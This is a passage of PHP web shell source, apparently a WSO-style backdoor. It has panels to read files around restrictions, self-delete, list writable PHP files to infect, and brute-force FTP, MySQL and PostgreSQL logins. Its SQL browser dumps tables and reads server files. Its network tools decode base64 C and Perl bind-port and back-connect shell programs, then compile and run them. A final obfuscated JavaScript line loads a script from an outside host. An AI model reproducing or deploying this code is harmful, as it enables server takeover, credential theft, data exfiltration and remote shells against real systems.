        echo "<span>Copy (read file)</span><form onsubmit='g(null,null,\"1\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Glob (list dir)</span><form onsubmit='g(null,null,\"2\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Curl (read file)</span><form onsubmit='g(null,null,\"3\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Ini_restore (read file)</span><form onsubmit='g(null,null,\"4\",this.param.value);return false;'><input class=\"toolsInp\" type=text name=param><input type=submit value=\"submit\"></form><br><span>Posix_getpwuid (\"Read\" /etc/passwd)</span><table><form onsubmit='g(null,null,\"5\",this.param1.value,this.param2.value);return false;'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=\"submit\"></form><br><br><span>Imap_open (read file)</span><form onsubmit='g(null,null,\"6\",this.param.value);return false;'><input type=text name=param><input type=submit value=\"submit\"></form>";
        if ($temp) {
            echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
        }
        echo "</div>";
        hardFooter();
    }
    function actionLogout()
    {
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die('bye!');
    }
    function actionSelfRemove()
    {
        if ($_POST['p1'] == 'yes') {
            if (@unlink("/var/www/html/input.php")) {
                die('Shell has been removed');
            } else {
                echo "unlink error!";
            }
        }
        if ($_POST['p1'] != 'yes') {
            hardHeader();
        }
        echo "<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick=\"g(null,null,'yes')\">Yes</a></div>";
        hardFooter();
    }
    function actionInfect()
    {
        hardHeader();
        echo "<h1>Infect</h1><div class=content>";
        if ($_POST['p1'] == 'infect') {
            $target = $_SERVER['DOCUMENT_ROOT'];
            function ListFiles($dir)
            {
                if ($dh = opendir($dir)) {
                    $files = array();
                    $inner_files = array();
                    while ($file = readdir($dh)) {
                        if ($file != "." && $file != "..") {
                            if (is_dir($dir . "/" . $file)) {
                                $inner_files = ListFiles($dir . "/" . $file);
                                if (is_array($inner_files)) {
                                    $files = array_merge($files, $inner_files);
                                }
                            } else {
                                array_push($files, $dir . "/" . $file);
                            }
                        }
                    }
                    closedir($dh);
                    return $files;
                }
            }
            foreach (ListFiles($target) as $key => $file) {
                $nFile = substr($file, -4, 4);
                if ($nFile == ".php") {
                    if ($file != $_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF'] && is_writeable($file)) {
                        echo "{$file}<br>";
                        $i++;
                    }
                }
            }
            echo "<font color=red size=14>{$i}</font>";
        } else {
            echo "<form method=post><input type=submit value=Infect name=infet></form>";
            echo "Really want to infect the server?&nbsp;<a href=# onclick=\"g(null,null,'infect')\">Yes</a></div>";
        }
        hardFooter();
    }
    function actionBruteforce()
    {
        hardHeader();
        if (isset($_POST['proto'])) {
            echo '<h1>Results</h1><div class=content><span>Type:</span> ' . htmlspecialchars($_POST['proto']) . ' <span>Server:</span> ' . htmlspecialchars($_POST['server']) . '<br>';
            if ($_POST['proto'] == 'ftp') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $fp = @ftp_connect($ip, $port ? $port : 21);
                    if (!$fp) {
                        return false;
                    }
                    $res = @ftp_login($fp, $login, $pass);
                    @ftp_close($fp);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'mysql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                    @mysql_close($res);
                    return $res;
                }
            } elseif ($_POST['proto'] == 'pgsql') {
                function bruteForce($ip, $port, $login, $pass)
                {
                    $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                    $res = @pg_connect($str);
                    @pg_close($res);
                    return $res;
                }
            }
            $success = 0;
            $attempts = 0;
            $server = explode(":", $_POST['server']);
            if ($_POST['type'] == 1) {
                $temp = @file('/etc/passwd');
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = explode(":", $line);
                        ++$attempts;
                        if (bruteForce(@$server[0], @$server[1], $line[0], $line[0])) {
                            $success++;
                            echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
                        }
                        if (@$_POST['reverse']) {
                            $tmp = "";
                            for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
                                $tmp .= $line[0][$i];
                            }
                            ++$attempts;
                            if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
                                $success++;
                                echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
                            }
                        }
                    }
                }
            } elseif ($_POST['type'] == 2) {
                $temp = @file($_POST['dict']);
                if (is_array($temp)) {
                    foreach ($temp as $line) {
                        $line = trim($line);
                        ++$attempts;
                        if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
                            $success++;
                            echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
                        }
                    }
                }
            }
            echo "<span>Attempts:</span> {$attempts} <span>Success:</span> {$success}</div><br>";
        }
        echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne  value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
        echo "</div>";
        hardFooter();
    }
    function actionSql()
    {
        class __construct
        {
            var $type;
            var $link;
            var $res;
            function DbClass($type)
            {
                $this->type = $type;
            }
            function connect($host, $user, $pass, $dbname)
            {
                switch ($this->type) {
                    case 'mysql':
                        if ($this->link = @mysql_connect($host, $user, $pass, true)) {
                            return true;
                        }
                        break;
                    case 'pgsql':
                        $host = explode(':', $host);
                        if (!$host[1]) {
                            $host[1] = 5432;
                        }
                        if ($this->link = @pg_connect("host={$host[0]} port={$host[1]} user={$user} password={$pass} dbname={$dbname}")) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function selectdb($db)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (@mysql_select_db($db)) {
                            return true;
                        }
                        break;
                }
                return false;
            }
            function query($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = @mysql_query($str);
                    case 'pgsql':
                        return $this->res = @pg_query($this->link, $str);
                }
                return false;
            }
            function fetch()
            {
                $res = func_num_args() ? func_get_arg(0) : $this->res;
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_fetch_assoc($res);
                    case 'pgsql':
                        return @pg_fetch_assoc($res);
                }
                return false;
            }
            function listDbs()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->query("SHOW databases");
                    case 'pgsql':
                        return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
                }
                return false;
            }
            function listTables()
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->res = $this->query('SHOW TABLES');
                    case 'pgsql':
                        return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
                }
                return false;
            }
            function error()
            {
                switch ($this->type) {
                    case 'mysql':
                        return @mysql_error();
                    case 'pgsql':
                        return @pg_last_error();
                }
                return false;
            }
            function setCharset($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        if (function_exists('mysql_set_charset')) {
                            return @mysql_set_charset($str, $this->link);
                        } else {
                            $this->query('SET CHARSET ' . $str);
                        }
                        break;
                    case 'pgsql':
                        return @pg_set_client_encoding($this->link, $str);
                }
                return false;
            }
            function loadFile($str)
            {
                switch ($this->type) {
                    case 'mysql':
                        return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
                    case 'pgsql':
                        $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
                        $r = array();
                        while ($i = $this->fetch()) {
                            $r[] = $i['file'];
                        }
                        $this->query('drop table hard2');
                        return array('file' => implode("\n", $r));
                }
                return false;
            }
            function dump($table, $fp = false)
            {
                switch ($this->type) {
                    case 'mysql':
                        $res = $this->query('SHOW CREATE TABLE `' . $table . '`');
                        $create = mysql_fetch_array($res);
                        $sql = $create[1] . ";\n";
                        if ($fp) {
                            fwrite($fp, $sql);
                        } else {
                            echo $sql;
                        }
                        $this->query('SELECT * FROM `' . $table . '`');
                        $i = 0;
                        $head = true;
                        while ($▟ = $this->fetch()) {
                            $sql = '';
                            if ($i % 1000 == 0) {
                                $head = true;
                                $sql = ";\n\n";
                            }
                            $columns = array();
                            foreach ($▟ as $k => $v) {
                                if ($v === null) {
                                    $▟[$k] = "NULL";
                                } elseif (is_int($v)) {
                                    $▟[$k] = $v;
                                } else {
                                    $▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
                                }
                                $columns[] = "`" . $k . "`";
                            }
                            if ($head) {
                                $sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
                                $head = false;
                            } else {
                                $sql .= "\n\t,(" . implode(", ", $▟) . ')';
                            }
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                            $i++;
                        }
                        if (!$head) {
                            if ($fp) {
                                fwrite($fp, ";\n\n");
                            } else {
                                echo ";\n\n";
                            }
                        }
                        break;
                    case 'pgsql':
                        $this->query('SELECT * FROM ' . $table);
                        while ($▟ = $this->fetch()) {
                            $columns = array();
                            foreach ($▟ as $k => $v) {
                                $▟[$k] = "'" . addslashes($v) . "'";
                                $columns[] = $k;
                            }
                            $sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
                            if ($fp) {
                                fwrite($fp, $sql);
                            } else {
                                echo $sql;
                            }
                        }
                        break;
                }
                return false;
            }
        }
        $db = new DbClass($_POST['type']);
        if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
            $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
            $db->selectdb($_POST['sql_base']);
            switch ($_POST['charset']) {
                case "Windows-1251":
                    $db->setCharset('cp1251');
                    break;
                case "UTF-8":
                    $db->setCharset('utf8');
                    break;
                case "KOI8-R":
                    $db->setCharset('koi8r');
                    break;
                case "KOI8-U":
                    $db->setCharset('koi8u');
                    break;
                case "cp866":
                    $db->setCharset('cp866');
                    break;
            }
            if (empty($_POST['file'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=dump.sql");
                header("Content-Type: text/plain");
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v);
                }
                exit;
            } elseif ($fp = @fopen($_POST['file'], 'w')) {
                foreach ($_POST['tbl'] as $v) {
                    $db->dump($v, $fp);
                }
                fclose($fp);
                unset($_POST['p2']);
            } else {
                die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
            }
        }
        hardHeader();
        echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><label><select name='type'><option value='mysql' ";
        if (@$_POST['type'] == 'mysql') {
            echo "selected";
        }
        echo ">MySql</option><option value='pgsql' ";
        if (@$_POST['type'] == 'pgsql') {
            echo "selected";
        }
        echo ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\r\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\r\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
        $tmp = "<input type=text name=sql_base value=''>";
        if (isset($_POST['sql_host'])) {
            if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
                switch ($_POST['charset']) {
                    case "Windows-1251":
                        $db->setCharset('cp1251');
                        break;
                    case "UTF-8":
                        $db->setCharset('utf8');
                        break;
                    case "KOI8-R":
                        $db->setCharset('koi8r');
                        break;
                    case "KOI8-U":
                        $db->setCharset('koi8u');
                        break;
                    case "cp866":
                        $db->setCharset('cp866');
                        break;
                }
                $db->listDbs();
                echo "<label><select name=sql_base><option value=''></option>";
                while ($▟ = $db->fetch()) {
                    list($key, $value) = each($▟);
                    echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
                }
                echo "</select></label>";
            } else {
                echo $tmp;
            }
        } else {
            echo $tmp;
        }
        echo "</td>\r\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\r\n                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n            s_db='" . @addslashes($_POST['sql_base']) . "';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value='';\r\n                    if(f.p2) f.p2.value='';\r\n                    if(f.p3) f.p3.value='';\r\n                }\r\n            }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = 'select';\r\n\t\t\t\td.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";
        if (isset($db) && $db->link) {
            echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
            if (!empty($_POST['sql_base'])) {
                $db->selectdb($_POST['sql_base']);
                echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
                $tbls_res = $db->listTables();
                while ($▟ = $db->fetch($tbls_res)) {
                    list($key, $value) = each($▟);
                    if (!empty($_POST['sql_count'])) {
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
                    }
                    $value = htmlspecialchars($value);
                    echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'>&nbsp;<a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? '&nbsp;' : " <small>({$n['n']})</small>") . "</nobr><br>";
                }
                echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
                if (@$_POST['p1'] == 'select') {
                    $_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
                    $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
                    $num = $db->fetch();
                    $pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
                    echo " of {$pages}";
                    if ($_POST['p3'] > 1) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>&lt; Prev</a>";
                    }
                    if ($_POST['p3'] < $pages) {
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next &gt;</a>";
                    }
                    $_POST['p3']--;
                    if ($_POST['type'] == 'pgsql') {
                        $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
                    } else {
                        $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
                    }
                    echo "<br><br>";
                }
                if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
                    $db->query(@$_POST['p2']);
                    if ($db->res !== false) {
                        $title = false;
                        echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
                        $line = 1;
                        while ($▟ = $db->fetch()) {
                            if (!$title) {
                                echo "<tr>";
                                foreach ($▟ as $key => $value) {
                                    echo '<th>' . $key . '</th>';
                                }
                                reset($▟);
                                $title = true;
                                echo "</tr><tr>";
                                $line = 2;
                            }
                            echo '<tr class="l' . $line . '">';
                            $line = $line == 1 ? 2 : 1;
                            foreach ($▟ as $key => $value) {
                                if ($value == null) {
                                    echo "<td><i>null</i></td>";
                                } else {
                                    echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                }
                            }
                            echo "</tr>";
                        }
                        echo "</table>";
                    } else {
                        echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                    }
                }
                echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                    echo htmlspecialchars($_POST['p2']);
                }
                echo "</textarea><br/><input type=submit value='Execute'>";
                echo "</td></tr>";
            }
            echo "</table></form><br/>";
            if ($_POST['type'] == 'mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if ($db->fetch()) {
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                }
            }
            if (@$_POST['p1'] == 'loadfile') {
                $file = $db->loadFile($_POST['p2']);
                echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
            }
        } else {
            echo htmlspecialchars($db->error());
        }
        echo "</div>";
        hardFooter();
    }
    function actionNetwork()
    {
        hardHeader();
        $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
        $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
        $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
        $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
        echo "<h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>";
        if (isset($_POST['p1'])) {
            function cf($f, $t)
            {
                $w = @fopen($f, "w") or @function_exists('file_put_contents');
                if ($w) {
                    @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                    @fclose($w);
                }
            }
            if ($_POST['p1'] == 'bpc') {
                cf("/tmp/bp.c", $bind_port_c);
                $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                @unlink("/tmp/bp.c");
                $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
            }
            if ($_POST['p1'] == 'bpp') {
                cf("/tmp/bp.pl", $bind_port_p);
                $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
            }
            if ($_POST['p1'] == 'bcc') {
                cf("/tmp/bc.c", $back_connect_c);
                $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                @unlink("/tmp/bc.c");
                $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
            }
            if ($_POST['p1'] == 'bcp') {
                cf("/tmp/bc.pl", $back_connect_p);
                $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
            }
        }
        echo "</div>";
        hardFooter();
    }
    if (empty($_POST['a'])) {
        if (isset($▚) && function_exists('action' . $▚)) {
            $_POST['a'] = $▚;
        } else {
            $_POST['a'] = 'FilesMan';
        }
    }
    if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
        call_user_func('action' . $_POST['a']);
    }
    ?>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%264F%26311')</script><?php 
};
exit;


Original code

